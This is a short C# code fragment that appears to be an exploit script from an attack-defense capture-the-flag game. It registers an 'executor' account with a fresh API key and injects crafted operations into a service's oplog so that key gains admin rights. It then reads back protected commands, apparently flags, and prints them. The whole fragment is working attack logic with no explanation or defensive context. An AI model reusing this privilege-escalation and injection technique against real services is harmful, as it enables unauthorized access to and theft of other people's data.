public AuthorizedRequest AddExecutor() { var executor = new AuthorizedRequest { ExecutorId = Guid.NewGuid().ToString(), ExecutorApiKey = Guid.NewGuid().ToString() }; var result = _httpClient.PutAsync(GetUri("/executor"), new StringContent(executor.ToJson())).Result; result.EnsureSuccessStatusCode(); return(executor); }
private static void GetAdminApiKeys(Client client, AuthorizedRequest executor, int flagCounts) { var commands = client.GetCommands().ToArray().Take(flagCounts); foreach (var command in commands) { Console.WriteLine($"Attack {command}, admin {executor.ExecutorApiKey}"); client.InjectOperationToOplog(BuildPayloadString(1, command, executor.ExecutorApiKey)); } Task.Delay(10.Seconds()).Wait(); foreach (var command in commands) { var result = client.GetCommand(new GetCommandRequest() { CommandName = command, ExecutorApiKey = executor.ExecutorApiKey, ExecutorId = executor.ExecutorId }); Console.WriteLine(result.ToJson()); } }